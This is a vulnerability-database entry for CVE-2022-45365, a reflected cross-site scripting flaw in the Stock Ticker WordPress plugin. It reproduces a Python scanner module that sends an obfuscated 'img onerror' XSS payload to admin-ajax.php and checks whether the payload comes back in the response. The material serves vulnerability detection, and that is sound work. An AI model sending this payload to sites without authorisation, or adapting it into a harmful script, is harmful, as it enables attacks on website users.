Lucene search
+L

Stock Ticker <= 3.23.2 - Cross-Site-Scripting Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
kittysploit
 kittysploit
🔗 github.com👁 5 Views

Unauthenticated Reflected XSS in Stock Ticker for WordPress via ajax_stockticker_symbol_search_test.

Related
Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""The Stock Ticker plugin for WordPress is vulnerable to Reflected Cross-Site Scripting in the ajax_stockticker_."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'Stock Ticker <= 3.23.2 - Cross-Site-Scripting Detection',
        'description': 'The Stock Ticker plugin for WordPress is vulnerable to Reflected Cross-Site Scripting in the ajax_stockticker_symbol_search_test function in versions up to, and including, 3.23.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.',
        'author': ['KittySploit Team'],
        'severity': 'medium',
        'tags': ['web', 'scanner', 'cve2022', 'cve', 'wordpress', 'wp-plugin', 'wpscan', 'wp', 'stock-ticker', 'unauth', 'xss', 'urosevic', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.4,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'risk_signal',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': [],
            },
        },
        'references': [
            'https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/stock-ticker/stock-ticker-3232-reflected-cross-site-scripting-in-ajax-stockticker-symbol-search-test',
            'https://patchstack.com/database/vulnerability/stock-ticker/wordpress-stock-ticker-plugin-3-23-2-reflected-cross-site-scripting-xss-vulnerability',
            'https://wordpress.org/plugins/stock-ticker/',
            'https://nvd.nist.gov/vuln/detail/CVE-2022-45365',
            'https://patchstack.com/database/vulnerability/stock-ticker/wordpress-stock-ticker-plugin-3-23-2-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve',
        ],
        'cve': 'CVE-2022-45365',
    }

    def run(self):
        path = '/wp-admin/admin-ajax.php'
        r = self.http_request(method='POST', path=path, allow_redirects=False, headers={'Content-Type': 'application/x-www-form-urlencoded'}, data='action=stockticker_symbol_search_test&symbol=test&endpoint=%3Cimg+src%3Dx+onerror%3D%26%23x61%3B%26%23x6c%3B%26%23x65%3B%26%23x72%3B%26%23x74%3B%28document.domain%29%3E\n')
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
        body_all = ('Stock Ticker Fatal', '<IMG SRC=X ONERROR=',)
        header_any = ('text/html',)
        if (all(m in body for m in body_all)) and (any(m in headers for m in header_any)):
            self.set_info(severity='medium', reason='Stock Ticker <= 3.23.2 - Cross-Site-Scripting detected', path=path)
            return True
        return False

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Jul 2026 11:27Current
7.2High risk
Vulners AI Score7.2
CVSS 3.16.1 - 7.1
EPSS0.49172
5